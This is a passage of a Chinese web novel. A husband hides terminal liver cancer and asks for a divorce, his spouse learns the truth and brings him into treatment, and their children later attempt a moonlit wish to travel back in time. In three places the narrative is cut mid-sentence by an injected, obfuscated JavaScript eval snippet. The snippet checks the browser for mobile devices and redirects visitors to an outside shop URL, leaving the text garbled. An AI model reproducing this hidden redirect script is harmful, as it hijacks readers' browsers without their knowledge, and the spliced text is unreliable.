父亲的病,爸爸一定不知道,不然,他不会有心情去和林亦停吃饭,他一定会督促父亲赶紧去治病的。
是父亲有意隐瞒了爸爸,然后提出离婚的。
他突然就懂了父亲这么做的原因,那是爱爸爸爱到了骨子里,才会瞒着他。
柯辛哭累了,鼻子一抽一抽的:“哥,一会儿爸爸回来,我们告诉他吧,我们一起给爹地治病。”
路羽出声阻止:“不行,先别急着告诉爸。”
柯辛清秀的眉都拧了起来:“为什么啊哥,我不认同爹地的做法。”
“爸爸有权利知道他生病的事,夫夫患难与共,不然等爹地真默默的走了,爸爸一定会怪他,会恨自己没陪他度过最后一段日子。”
柯辛抹了下眼泪,“再说了,癌症晚期,万一能治好呢。”
路羽摇头:“你太天真了,那是肝癌晚期,治愈率极低的癌症之一。报告单上,父亲的肿瘤很大,已经扩散到其他脏器,更加难治。多少病人治到最后,经过了化疗,抽腹水,头发一把一把的掉,直到瘦骨嶙峋,依然逃不过死亡。”
“而父亲那么体面的人,一定不希望爸爸看到那样的自己。你还不了解他吗?永远希望自己在爸爸眼中,是最完美最帅的样子。”
路羽看着办公桌上夫夫两恩爱的合影,又说:“我想,父亲那么爱爸爸,那么在意这个家,但凡有一点活下去的希望,他都不会放弃等死的。会选择瞒着病情跟爸爸离婚,那必然是已经到了没希望的地步了。”
“再说了,陪着父亲经历痛苦又漫长的治疗过程,去等一个很有可能失败的结果,对爸爸来说,又何尝不是一种折磨。”
“所以,”路羽对妹妹嘱咐道,“暂时先别告诉爸爸,看看情况再说。”
柯辛听着,抽泣声渐小,沉默了。
时间过了八点,窗外已经黑透。
这时,电子锁开门声响起,楼下传来脚步声。
柯辛抹了抹眼睛,看向哥哥,声音带着哭腔:“哥,爸爸回来了。”
正想事的路羽对她摇摇头,妹妹眼神微闪,会意地点了点头。
路羽将报告单放进抽屉里,和妹妹出了书房。
柯栩回家后的表现还如往常,瞒着儿女离婚的事,只是无论他做什么,兴致都不是很高。
“你俩吃饭没?”柯栩问。
发现女儿眼睛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437788|201002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
红红的,柯栩走近看了看,“眼睛怎么这么红?哭了?”
柯辛抹了下眼泪,立马摇头:“没,眼睛进沙子了。”
柯栩宠溺地看着女儿:“弄出去没。”
柯辛点点头,“弄出去了。”
可少女的心事终是没压住,见到爸爸就又难过起来,她一下扑进柯栩怀里,哭了出来,眼泪止也止不住。
柯栩心疼地拍拍女儿头顶,“这是怎么了?怎么伤心成这样。”
柯辛抽噎着央求:“爸爸,不要和爹地离婚,求你了,别离婚。”
柯栩瞬间僵在原地,好一会儿没反应。
片刻之后,他才无奈地叹了口气。
看来,还是被他俩发现了。
可他该怎么告诉他俩,离婚的原因呢。
告诉儿女,他们的父亲出轨,所以提了离婚?
让孩子们高考前知道这种事,也太不合适了。
可柯辛心疼柯栩的同时,还心疼她得了重病的爹地,她实在接受不了父母离婚,那对她来说,这个家就完全散了。
柯辛情绪激动,小脸委屈得不行,她从爸爸怀里退出来,一边抹眼泪一边哭。
想到了什么,少女冲进主卧拿出了那份离婚协议书,指着最后一页柯栩的签字:“你们明明相爱,你为什么要签字,爹地都那么可怜了,你别不要他啊,呜呜呜……”
柯栩听着,有些没理解女儿话里的意思。
路辞他怎么就可怜了?
还让他别不要路辞?
明明是路辞不要他了啊。
可下一秒,不等柯栩反问,柯辛双手捏着离婚协议书,用力往开一撕,那速度快得一旁的路羽都来不及阻止。
待他疾步上前时,薄薄的几页纸已经被撕成了好几片,散落在地。
柯栩视线向下,看着撕坏的协议书,血气上涌,想到女儿的话,他更是气不打一处来,厉声喊道:“柯辛!”
见爸爸发火,柯辛也才意识到自己太冲动了,但她依然不觉得自己有错,和柯栩顶嘴:“撕了就撕了,你紧张什么?就那么想和爹地离婚?”
一旁的路羽不想妹妹顶撞爸爸,赶紧提醒:“柯辛,你少说两句。”
柯栩苦笑出声,他怎么也没想到,都这时候了,女儿居然是向着路辞的。他本来不想说的,可压抑多天的怒火和委屈彻底爆发,他对着儿女发泄了出来:“行,我告诉你们怎么回事!”
“是你们的父亲,是他,出轨了!”
“离婚,也是他提的!”
“出轨了!”
短短三个字像一声惊雷在兄妹俩脑中炸开,他们的第一反应却是:怎么可能?
绝对不可能!
柯辛一脸不可置信:“我爹地不可能出轨!”
路羽也上前辩驳:“不可能的,爸,这世上谁出轨,父亲都不会出轨。”
“怎么不可能?”柯栩怒意上涌,脸色难看,“我亲眼看见,他和他的助理……”
“后来,他也亲口告诉我,他爱上了别人。”
路羽大脑迅速运转,以他对路辞的了解,极大可能,他让爸爸看到的那一幕,是他和助理演的戏,只为让爸爸早些恨上他。
少年冷静下来,却不知该怎么解释出来。
柯辛想得就没哥哥深了,只知道得了绝症的父亲是一定不可能出轨的。
“那是他在骗你啊爸。”少女急得跳脚。
可显然,爸爸并不相信她的话。
“什么骗不骗的,好多天都不回家了,不是和那助理有一腿还能是什么?”
柯辛一心不希望爸爸冤枉爹地,出于心疼爹地,她没脑子地顶撞道:“你还说他呢,你不还和那个林亦停吃饭呢吗?”
一听这个,柯栩身体僵了一瞬,眼睛瞪了过来:“你看见了?”
意识到自己说错话,柯辛没声了,只小幅度点了点头。
被女儿冤枉,柯栩心里说不出的难受,他红着眼反问:“一顿饭而已,你觉得是我出轨了?”
对上爸爸复杂的眼神,柯辛瞬间就慌了,“爸爸对不起,我……我没那个意思,我知道你们之间没什么。”
说着说着,少女又委屈起来,她吸了吸鼻子,抹掉眼泪,哭得一抽一抽的:“但你不能冤枉爹地啊,他真没出轨,他……他……他是生病了啊。”
柯辛这会儿什么都不顾了,只为爸爸和爹地之间不能有误会,她只希望他俩感情能和好如初别离婚,早把哥哥的嘱咐抛之脑后了。
一旁的路羽闭了闭眼,索性也就这样吧。
毕竟,纸包不住火。
“生病?”
女儿话里的反转着实给了柯栩一个措手不及,他神情有些莫名,心跳不由加速,再次看向儿子,质问道:“生什么病?”
路羽见瞒不住了,叹了口气,转身回到书房。片刻之后,他手中拿着一张纸走了过来,沉默着递给柯栩。
柯栩颤着手接了过来,目光几乎立刻就锁定在了报告单右下方的确诊结果上:肝癌晚期。
几个明晃晃的大字像一根根尖针,毫不留情地往他心脏上扎。
事实如晴天霹雳,劈得柯栩脑中一片空白,连呼吸都忘了。
他眼眶发红,立马掏出手机给路辞打电话,结果语音提示关机。
他又拨通另一则电话,那边很快接通:“喂,夫人。”
柯栩直接问:“路辞在哪儿?”
听出柯栩语气匆忙,陈特助有些疑惑:“您有什么事吗?”
柯栩冷声道:“陈特助,我什么都知道了。”
不等对面回应,他又命令道:“告诉我,他现在在哪儿?”
陈特助那边迟疑了两秒钟,如实回答:“去纽约出差,现在在飞机上。”
柯栩强迫自己镇定下来:“好,给我订一张去纽约的机票,就现在。”
电话挂断,柯栩嘱咐儿女乖乖在家写作业,拿了护照等证件就立马出门了。
4. 柯栩破防
柯栩的航班是晚上十点起飞,比路辞的要晚六个小时。
一路上,柯栩表面镇定,内心早已乱得不行,他对着报告单盯了很久,久到他几乎感觉不到时间的流逝。
有多久没这么慌过了,他不记得,只知道现在的自己急得像热锅上的蚂蚁。
报告单的日期是一个多月前,柯栩想起来了,就是在那个时候,路辞开始对他不冷不热,刻意疏远他,每天晚归的。
路辞善于伪装,柯栩只觉得他变冷淡了,真没看出他身体健康方面出了问题,还是这么大的病症。
这一个多月来,路辞有看过权威医生吗?
看过几个?国内的,国外的都看了吗?
每个医生都是怎么说的?
他现在有在认真服药吗?
每次犯病疼痛的时候,他都是怎么扛过去的?
为什么病重成这样了,他还在出差?
肝癌是癌中之王,大多数时候一经发现就是晚期,更何况,路辞的癌细胞已经扩散了,完全治愈是有很大难度的。
很多类似病例的患者,最后都是拖着命,在病床上能多活一天是一天。
路辞的情况到底严重到了什么程度,才让他放弃治疗直接跟自己提离婚的?
柯栩现在相信了儿女的话,也怀疑路辞是和陈助理做戏给自己看了。
他现在无比悔恨,恨自己没早些提醒路辞去做体检。
他恨自己那么轻易就信了路辞出轨的话,恨自己那么不信任路辞对自己的爱,更恨自己竟然没发现路辞难受犯病的每一个细节。
内心的焦急让柯栩在飞机上倍感煎熬,不能联系路辞,他便在搜索引擎上搜各种肝癌相关的信息,他越查越心惊,心里越复杂难受。
明明是温度适宜的机舱内部,柯栩害怕到手脚发凉。
在长达十四个小时的飞行时间里,他几乎没合眼,一直醒着。
终于熬到下飞机,正是当地时间晚上十一点多。柯栩除了证件,行李是什么都没带,他急匆匆出了机场,立马就给路辞打电话。
而此时的路辞刚结束一场应酬,回到酒店还没十分钟。
方才在出租车上就右腹难受,他强撑着给自己灌下一把药丸,慢慢等待痛疼缓解的时候,手机铃声响了,他一看,竟然是好几天没联系的柯栩。
一看柯栩两个字,路辞就心脏猛跳。
出于愧疚,出于心虚,更出于想念。
他真的,太想把柯栩抱在怀里了,太想在疼痛难忍的时候,可以和爱人依偎在一起,被柯栩的爱意包裹了。
但他不能,柯栩难过的样子,他心疼。
现在接通,他说话的声音会露馅的。
路辞疼得咬了咬牙,狠心滑向了挂断。
然而对面很快又拨了过来,路辞再次挂断。
可三次过后,柯栩依然锲而不舍地打过来,路辞索性直接关了机。
另一边的柯栩在路边急得发疯,一听对面关机,气得差点把手机扔出去。
路辞待止痛药起效,疼痛缓解,才再次开机,此时,未接电话已经十八个了。
男人眉心紧锁,柯栩不是会电话轰炸的人,是不是遇到什么急事了?
想到这儿,路辞赶紧回了过去,那边很快接通,不等他开口,柯栩的斥责几乎撞破话筒,卷着火气冲进他的耳朵。
“路辞,打了那么多电话,你为什么不接?”
路辞镇住了,这么多年,柯栩还是第一次这么生气,他立马收起之前的冷淡,没什么情绪地回:“刚才……有事。”
不像前几天那么沉默,哪怕心里受了委屈也自己往肚子里咽,此刻的柯栩,那一点就炸的性格仿佛被唤醒,对着话筒就是一通发泄。
“你有个屁的事儿!什么事儿比你的命重要?”
“我他妈什么都知道了,你居然瞒着我还骗我,路辞,你就是这么当人丈夫的?”
“刚才不接电话,不会是疼得怕露馅吧?”
“你个混蛋!骗我那么久!还他妈跟我提离婚!”
一句一句接二连三轰炸出来,柯栩有些口干。
不管怎样,见了面再说,他问:“你在哪儿,告诉我地址。”
路辞那边乖乖听训,内心的波澜早已翻了几番,五味杂陈,这种久违的被老婆骂的感觉,原来可以这么幸福。
那一刻,扛在身上的担子仿佛一下卸了下来,男人松了口气,回答:“我给你发地址。”
-
半个小时后。
路辞下楼把柯栩带上了楼,进了房间。
房门刚一关上,柯栩一把揪住路辞衣领,把他抵在了墙上。
他情绪依然高涨,怒意依然不减:“好啊你!骗我骗上瘾了是吗?”
路辞被磕了一下,加之腹部痛劲儿又有上来的趋势,他疼得低吟了一声,捂着胸口,嘴角扯出一个难看的笑:“消消气,老婆,别这么暴力,疼。”
终于可以和老婆示弱了,路辞疼在□□,甜在心里,多天来紧绷的神经也在这一刻,彻底放松。
柯栩看他这样就又想给他两拳,语气嘲弄:“呵,之前那么冷漠,那么狠心地演戏,现在知道卖惨了?现在知道跟我服软了?”
他嘴上这么说,心里早担心坏了,左手扶住路辞后腰,右手捂到他腹部,小心翼翼地给他按揉。
一边揉一边轻拍路辞的脸颊:“提离婚,你休想!”
可被冷落多天的记忆依然盘旋在脑中,挥之不去,柯栩给他揉了一会儿,就退开往里走了,纯粹气得。
身后的路辞也缓步跟了上来。
这时,桌子上的手机铃声响起,柯栩扭脸一看,来电人是郑律师。
捕捉到路辞脸上划过的一丝异样,柯栩眼疾手快地拿起了手机,滑向接通的同时,捂住了路辞的嘴,用眼神警告他:“敢出声,有你好果子吃!”
电话那边传来郑律师的声音:“路总,正式遗嘱已经公证,您什么时候有时间,我给您送过去。”
柯栩蹙眉看向路辞,用口型问他:“遗嘱?”
路辞无声尬笑,被捂着嘴,也说不出话来。
柯栩瞪他一眼,对着话筒道:“我是柯栩。”
郑律师一瞬间语塞:“柯……是柯先生啊。”
柯栩问:“郑律师,遗嘱上写了什么内容,把最关键的,详细念给我听。”
郑律师在那边替自己捏了把冷汗,开始一字一句给柯栩念了出来。
柯栩这边听着,那边瞪着路辞,越听他越心惊,直到郑律师念完最后一句,柯栩早已眼眶发红,他紧咬自己下唇,力道大到几乎要咬出血来。
他喉间一阵阵发紧,没再回应郑律师,直接挂断了电话。
嘴上的掌心移开,路辞看着老婆神情复杂的脸,一时不知道该说些什么,只是一个劲儿唤老婆。
这时,一条微信又弹了出来,柯栩定睛一看,居然是林亦停。
那两人当了二十年情敌,向来互看不顺眼,连一句话都懒得跟对方说,这会儿怎么联系上了。
他输入自己生日解锁屏幕,点进微信和林亦停的聊天界面,仅有的几条信息暴露了所有。
路辞:柯栩已经在离婚协议书上签字了,你去找他吧,好好照顾他。
路辞:他问起来,你就说看到我和助理亲密了。
林亦停:行,知道了。
刚才的信息,林亦停:柯栩好像发现什么了。
被俩人串通好骗得团团转的柯栩看到这几条信息,火大得都想把路辞暴揍一顿。
此刻的路辞真是想找块豆腐撞死的心都有了,他尴尬地摸了摸鼻梁,一个劲儿央求:“对不起老婆,这些日子,让你受委屈了。”
柯栩瞪着路辞,红着眼怒意翻涌地一步步逼近他,路辞又是“老婆”,又是“亲爱的”,又是“小栩”地唤他,最终还是被柯栩逼退到了桌边。
柯栩的发泄彻底刹不住了,他像个嘴里安了子弹的机关枪,开启了下一轮轰炸。
“好啊你路辞!太能耐了!”
“不仅遗嘱拟好了,就连后路都替我想好了!你把我托付给
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437789|201002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他,然后自己默默去死?”
“你他妈可真是世界第一悲情大男主啊!”
“可你想过我的感受吗?”
“你把我对你的感情放在什么位置?”
柯栩揪着路辞的衣领,心里难受得他几乎要哭出来:“作为你爱人,我竟然都不知道自己的丈夫得了绝症,还他妈被你安排着去和别的男人见面?你可真行!”
他抄起一旁的检查结果,大力晃了又晃:“如果不是两个孩子发现了这张报告单,我是不是就会成为最后一个知道真相的人?”
“还他妈要把公司给我?我接得住?”
别的路辞都乖乖听着,但这句他必须得反驳:“你接得住,你有能力,我相信你。”
这话一说出口,柯栩眼泪一下子就溢了出来,他用力抹了把泪水,怼他:“相信个屁!”
看见柯栩哭,路辞更心疼了,他抬手轻轻拭去柯栩眼角的泪,柔声的哄:“别哭了,都哭成小花猫了。”
四十岁大男人被叫小花猫,柯栩简直哭笑不得,可一夜之间的巨大变故还是让他悲从心来。
眼前是自己爱了近二十年的人,他爱恋的目光细致描绘着男人俊朗深邃的眉眼,划过他高挺的鼻梁,再到他日渐消瘦的脸颊。
岁月带走了很多,唯一不变的,是男人眼神里依然倾注了所有的深情和爱意。
柯栩视线渐渐模糊,他一把揪过路辞的衣领,倾身堵住了男人胡乱形容的嘴,他勾着路辞的后脖子反复碾磨,泪水顺着脸颊滑下,流入彼此嘴角,给这个吻增加了丝丝咸意。
不消片刻,路辞便接过主导,揽过柯栩的后腰加深了这个吻。吻是甜的,两人喉间却溢满苦涩。
唇瓣好似分开了很久的南北极磁铁,只要吸在一起就难舍难分,仿佛要把所有难言的痛苦全部倾注在这一个吻中。
一吻结束,柯栩二话不说,拉起路辞的手就往出走:“走,跟我回去治病。”
路辞反手拉住他,微笑摇头:“不行,明天还有个会议。”
柯栩真服了他:“都什么时候了,还想着挣钱?你他妈都身家几千亿了,还在乎这一个项目?”
“别他妈想着你走了,给我善后妥当再把这公司给我让我接管,你自己的,你自己兜着。”
说罢他就松开路辞的手,准备去收拾行李,却被男人再次阻止。
路辞一把将柯栩揽进怀里,伸出食指,对他说:“就一天,这场会议真的很重要,另外,我明天下午约了这里最权威的医生,卡尔斯大夫。”
柯栩听闻,神情有些凝重,他定定注视着路辞好一会儿,才从他怀里退出来,拉过椅子坐下了。
“现在,别卖关子,一五一十地,把你看诊的所有情况都告诉我。”
路辞叹口气,拉起柯栩的手,一边轻轻摩挲,一边讲述起来。
半小时后,男人摊了摊手,维持着表面的平静:“过程就是这样,国内外知名的权威医生,我都去看过了,他们都说,治愈希望不大,并且,活不了太久了。”
明明字字都那么平常,可组成句子,传到柯栩耳朵里,却带着不给他任何喘息的巨大杀伤力。
柯栩双手掩面,心里难受到好一会儿没缓过来。
路辞心里泛着疼,他叹了口气,将柯栩揽入怀里轻轻抱住。
光是听了他的看诊经历就痛苦成这样了,真要到治疗的时候,怀抱希望又失望的过程,柯栩该有多难过,无异于折磨。
路辞抽出纸巾轻轻给柯栩拭去眼角的泪,宽慰道:“卡尔斯大夫是肝胆和肿瘤相关领域最顶尖的医生,之前一直没约上,这次再让他看一下,说不定有希望呢。”
柯栩从掌心抬起头来,红着眼睛同路辞对视,点了点头:“好,我陪你去。”
“往后的治疗,我都陪你。”
次日。
天气晴朗。
路辞开完一上午会议,精神疲累地回到酒店。
夫夫俩吃过饭,柯栩强行让路辞睡了会儿午觉,下午两点半,两人准时到达卡尔斯医生的诊室。
5. 儿女穿越
由于半个多月前,路辞来这家医院看过另一位医生,相关检查也都在这里做过,这次无需再做。
接过路辞的一塌诊断报告,头发半白的大夫一页页详细翻看起来,越往后看,他神情越发凝重,眉头也一直紧锁着。
安静的诊室里,路辞还算镇定,柯栩紧张到心脏快要吊到嗓子眼。
几分钟后,卡尔斯大夫将报告放在桌上,叹着气摇了摇头,一副很遗憾的表情,操着一口流利的英语对他俩说:“我很抱歉,但是,太晚了。”
“癌细胞已经扩散到血液和周围脏器了,基本没有治愈的可能了。”
“你知道的,肝癌是全球医学界共同面对的、亟待攻克的重大难题,目前的话,抱歉。”
“你这样的情况,大概还有不到两个月的生命。”
“所以,最后的日子,用自己喜欢的方式度过吧。”
卡尔斯大夫的语气和善,可他的话,无异于给路辞判了死刑,给他的生命开启了倒计时。
柯栩心在滴血,他颤抖着双手接过诊断报告,踉跄地扶着路辞走了出去。
刚出诊室,柯栩浑身泄力一般,瘫坐在了一旁的候诊椅上。
他一脸的难以置信,不肯接受医生说的结果。
“我不相信,你现在看上去,明明没那么糟糕,怎么就只剩两个月了呢,我不相信。”
话虽残忍,但路辞还是说:“全靠药物撑着,身体里头,已经不成样子了。”
柯栩听闻,泪水瞬间就蓄满了眼眶。
一个四十出头的大男人,在此刻哭得泣不成声。
路辞素来情绪平稳,这会儿也不禁红了眼,他坐在柯栩旁边,将爱人揽进怀里,静静等待他的情绪稳定下来。
-
两人回到酒店时,已经是一个小时后了。
刚进房间,柯栩的手机铃声响了,他掏出一看,是儿子路羽。
柯栩接通:“喂,小羽。”
路羽:“爸,你见到父亲了,他怎么样?”
柯栩和路辞对视一眼,回答:“没事,别担心,你和小辛的首要任务是备战高考,其他的,不需要你们操心,你父亲这儿,有我呢。”
路羽:“好,我知道了。”
电话挂断。
当晚,两人就坐上了回国的飞机。
路辞右腹疼了两次,还是浑身冒冷汗的剧痛,柯栩心疼地给他喂了药。
看着脸色苍白的路辞,他在心里暗自做了决定。
一路上,柯栩一直没合眼,他睡眠不好,加上担心路辞,就更睡不着了。
路辞还好,在大量药物作用下,他在头等舱躺着睡了一觉,下飞机时,他精神头还算不错。
国内时间是晚上九点多,夫夫俩回到家,久违地又躺进了一个被窝,相互依偎在一起,柯栩总算熬不住,睡了一觉。
次日一大早,路辞以有重要会议为由去公司了,柯栩知道拗不过他,暂时没阻止。
路辞以为柯栩会去他的咖啡店里,谁知柯栩没跟他商量,直接拿着他的诊断结果去了市里最权威的肿瘤医院,给他办理了住院。
当天下午,办理完的柯栩急匆匆来到路辞办公室,二话不说,拉起正在文件上签字的路辞:“走,跟我去医院治病。”
路辞急忙放下钢笔,唤了两声老婆:“诶柯栩,不是说不治了吗?”
柯栩扭脸怼他:“谁跟你说不治的。”
“别人得癌症不治,不是因为没希望,是因为没钱,你有钱你干嘛不治?治不治得好,谁现在说了都不算。”
“走走走。”柯栩索性把路辞面前的文件一股脑全部合上收进档案夹里,再次用力拉他,“跟我去医院,住院手续都办好了。”
“当然不是钱的问题,是最后这点时间怎么过才有意义的问题。”路辞反手握住柯栩的手,注视着爱人的眼睛,“对于现在的我,躺在病床上,就是浪费时间。”
男人依然一身西装,俊帅又体面,他用最平淡的语气吐露出最真挚的话:“我最该做的,不是去治病,而是在最后的时间里,替你铺好未来所有的路,让你和两个孩子,能安稳度过余生。”
“这样,我就能安心地离开了。”
柯栩的鼻头发酸,再没有比听到这些话更令人动容的了,可他只在意路辞,只一心希望路辞活下去,其他的,暂时不在他考虑范围内。
硬的不行,来软的,柯栩不放弃地央求道:“算我求你,住院治一治吧,你心态乐观一些,说不定会好转,会有希望呢。”
“我不能眼睁睁看你放弃治疗,就这么等死!”
“换做是我得了绝症,你能做到吗?”
路辞听不得这不吉利的话,立马出声阻止:“别瞎说!”
柯栩想到什么,继续劝说道:“如果你实在放不下工作,那就一边治疗一边办公,我在病房辅助你,你只需开口下任务,其他的,我来做。”
他双手把住路辞肩膀,微仰着脸:“你不是说相信我的能力吗?这么试试又何尝不可?”
柯栩嘴皮子向来厉害,他又说道了几句,总算说服了路辞。
男人最终败下阵来,同意住院治疗。
-
穿上病号服的路辞卸下了一身枷锁,身上高贵的精英气质却依然不减,只是脸色有些苍白,精神头越发低沉。
入院的前几天,一切状况还好,治疗以口服药物和输液为主,无论是病人路辞还是家属柯栩,都能适应,工作上,两人也配合得不错。
然而第五天,路辞开始肚子发胀,吃不下饭喘不上气,检查结果显示路辞腹部有大量腹水,医生立刻安排抽腹水。
由于路辞的癌细胞已经扩散,医生不得不安排定期化疗,第一次做完出来,路辞整个人都虚脱了,他胃口开始变差,时不时就恶心想吐。
不过两天,整个人明显瘦了一大圈,柯栩给他洗头发的时候,几乎没怎么用力,一把头发就顺着指缝落了下来。
柯栩心里痛得发紧,他死咬下唇,喉间哽咽,努力克制自己不哭出来。
路辞察觉出什么,脸上露出虚弱的笑,连说话语速都变得有些慢:“我就说嘛,别治了,到最后我瘦成皮包骨,成了秃子得多难看,我还想在老婆眼里保持大帅哥的好形象呢。”
柯栩扯出一个笑:“不管你什么样,都帅,这下你满意了吧。”
“满意。”路辞缓慢点头,“就喜欢听你夸我。”
中午,路辞勉强吃了点东西,就吃不下了。
柯栩弄路辞睡下已经是两个小时后了,可他压抑的情绪还没缓过劲儿来。
他轻声退出房间,在走廊尽头的候诊椅上独自坐了下来。
原本想着默默消化掉消极的情绪,可想着想着,柯栩还是不由就红了眼眶,他抬手捂住双眼,无声地任泪水溢满掌心。
这时,护士长从一旁的医用电梯走出来,看到上周刚住进来的重症特需病人家属正独自坐在那里,一看那状态,就知道怎么回事。
护士长叹了声气:“这才刚开始,您就这样了,往后要怎么扛?”
“治疗过程中他会出现排异反应,会食不下咽,会暴瘦,会经历一次又一次化疗,还有可能会反复进出ICU,面临多次急救。”
护士长看过太多生离死别,而最难的,是钱也花了罪也受了,最后还是走了。
很显然,那位路先生,很有可能就是这种。
她也不好劝说家属,只宽慰道:“您要做好心理准备,这到最后啊,病人可要受罪呢。”
柯栩朝她点了点头,没做回应,心里却开始质疑起自己的决定。
经历之后,只有他自己心里最清楚,每一天每一夜,看着越发憔悴,被治疗过程抽走精气神,面色苍白的路辞,心里有多难受。
住院期间,儿女周末休息来过一次。
柯辛见了路辞就忍不住想哭,路羽脸上也满是担忧,柯辛还在纠结父母离不离婚的事,他拉着柯栩和路辞的手,撒娇道:“这回,你俩可不准离婚了。”
柯栩一听这个就气笑了,他瞥路辞一眼,调侃:“以后啊,离不离婚,我说了算。”
路辞无声又虚弱地笑了。
兄妹俩又一人一句地问了半天父亲的病情和治疗情况,就被柯栩催着回了学校。
半个月后,又是一个周末。
路辞的病情每况愈下,头发更稀疏了,身体也更单薄了,脸色白得像纸一样,每天昏昏沉沉,精神萎靡。
下午两点多钟,路辞突然大口吐血,经检查,是消化道出血,导致血压骤降,紧接着,路辞就被一伙医护人员送进了手术室。
手术室门外,柯栩精神紧绷地坐在那里,他其实很想哭,可他哭不出来,反而安静得可怕。
柯辛和路羽放学赶了过来,一起陪着等在门外,柯辛握上柯栩的双手,才发现大夏天的,闷热的医院走廊里,爸爸的手凉得像冰,紧张到嘴唇都是颤抖的。
整整四个小时,柯栩眼睛始终死死盯着手术室大门,生怕错过任何一个出来的医生。
路羽坐在旁边看着柯栩,多日的陪护让爸爸憔悴了不少,鬓间甚至出现了几丝白发。
少年心间泛起阵阵酸楚。
当大门打开,柯栩瞬间站了起来,疾步走到医生面前询问情况,好在,这次救回来了。
柯栩松了口气,他越过医护人员看到戴着氧气面罩、浑身插满管子被推出来的路辞时,心口几乎痛到快要窒息。
这一刻,他再次质疑自己的决定,之前强迫路辞治疗的想法也有动摇之势。
胃里出血止住了,从ICU转普通病房之后的几天,路辞的状况稍微稳定了些,但化疗依然不能停。
想到之前大夫说过的化疗的多种副作用,柯栩最后做下了决定。
这天上午,柯栩敲响了主治大夫诊室的门。
“秦大夫,我想……接他出院了。”
秦老医生推了推眼镜,面色沉重地叹了声气:“行,回家度过最后的日子,也好。”
他开了张单子递给柯栩:“进口靶向药不需要开了,只会增加副作用。我给路先生开了保肝护胃、利尿助眠,还有止痛的药物,每天按时让他服下就好。”
“现在看来,依靠这些药物,路先生大概还能撑一个月左右吧。”
柯栩心头一紧,道了谢,出了诊室。
-
接下来的日子,柯栩每天就在家陪路辞,会出去晒太阳聊孩子聊过往开心的回忆,偶尔还会带着他去海边散步,吹吹海风。
每天还会抽出一两个小时时间忙工作上的事。
总之,每一分每一秒,柯栩都舍不得离开路辞身边。
可渐渐的,路羽和柯辛发现,他们的爸爸心理状态开始变差,经常焦虑,甚至整夜整夜失眠。
某天半夜,在弄父亲睡下后,半夜起来上厕所的柯辛在主卧门口看到,白天故作坚强的爸爸,到了晚上父亲睡着的时候,就会卸下所有伪装,凝视
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437790|201002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着父亲病弱的睡颜,无声流泪。
柯栩自己也察觉到了,他的神经始终绷在断裂边缘,由于害怕失去路辞,他睁眼是恐惧,闭眼便是噩梦,他的世界里,仿佛只剩下路辞的病情和倒计时,再无心他想,每日每夜都活在焦虑忧郁里。
出院后的第二个周末,路羽和柯辛强行带着柯栩去看了心理医生。
心理疏导过后,柯栩被确诊了中度偏重度抑郁倾向,还伴有焦虑症。
回到海边别墅,柯辛不敢在爹地和爸爸面前哭,就到哥哥跟前哭,泪水糊了满脸:“哥,怎么办啊,爹地快没时间了,爸爸又得了抑郁症,怎么办啊呜呜呜……”
而素来有主心骨又情绪稳定的路羽,被妹妹的情绪感染,看到海边沙滩上依偎在一起的父亲和爸爸,心里也难过到无以复加。
“我也不知道……”路羽很少哭,这会儿却再也忍不住,任由泪水打湿了眼眶,“我也好想他们好起来,如果时间能倒流,我一定会督促父亲按时体检,早早把病治好,可现在,现在……”
说到时间倒流,柯辛突然止住了哭声,她是个天真无邪的女生,平时喜欢看各种玄学小说、穿越小说,还喜欢研究那些童话故事。
她抹了把眼泪,突然想到前些日子看过的一篇小说里的一个情节:主角想挽回遗憾想复仇,希望回到若干年前,然后他深夜潜入海里,在月亮圆满的时刻,虔诚地凝望着圆月沉在波光里的倒影,许下心愿,当真实现了。
少女扭脸问哥哥:“哥,今天是阴历初几?”
路羽看了下手机上的日期:“四月十五。”
柯辛一听,眉眼一弯,笑了:“正好,看来,老天都在帮我们,就今晚吧。”
路羽有些莫名,柯辛便把她看到的小说情节和今晚的打算告诉哥哥,见哥哥没回应,她晃晃他胳膊:“试一试嘛哥,万一有用呢。”
路羽本不相信这些玄学的东西,可此时此刻他也只能寄希望于此了,于是点了点头:“好。”
柯辛又想起什么,说:“对了,穿越这事最讲随机了,万一真穿回去了,穿回到不知哪年呢,我们去找爸妈得拿上能证明咱俩身份和关系的东西。”
路羽:“说的对,能拿的都拿上吧,遇水容易湿,咱俩把这些封进防水文件袋里。”
午夜时分,待父亲和爸爸都睡下,兄妹俩背着书包,轻手轻脚地出了门。
一仰头,一轮圆月当空高挂,仿佛在望着他们。
两人走到海边,脱了鞋子,牵着手缓步向海里走去。深夜的海水很凉,他们越走离海岸越远,直到海水没过了两人胸前。
害怕吗,当然怕。
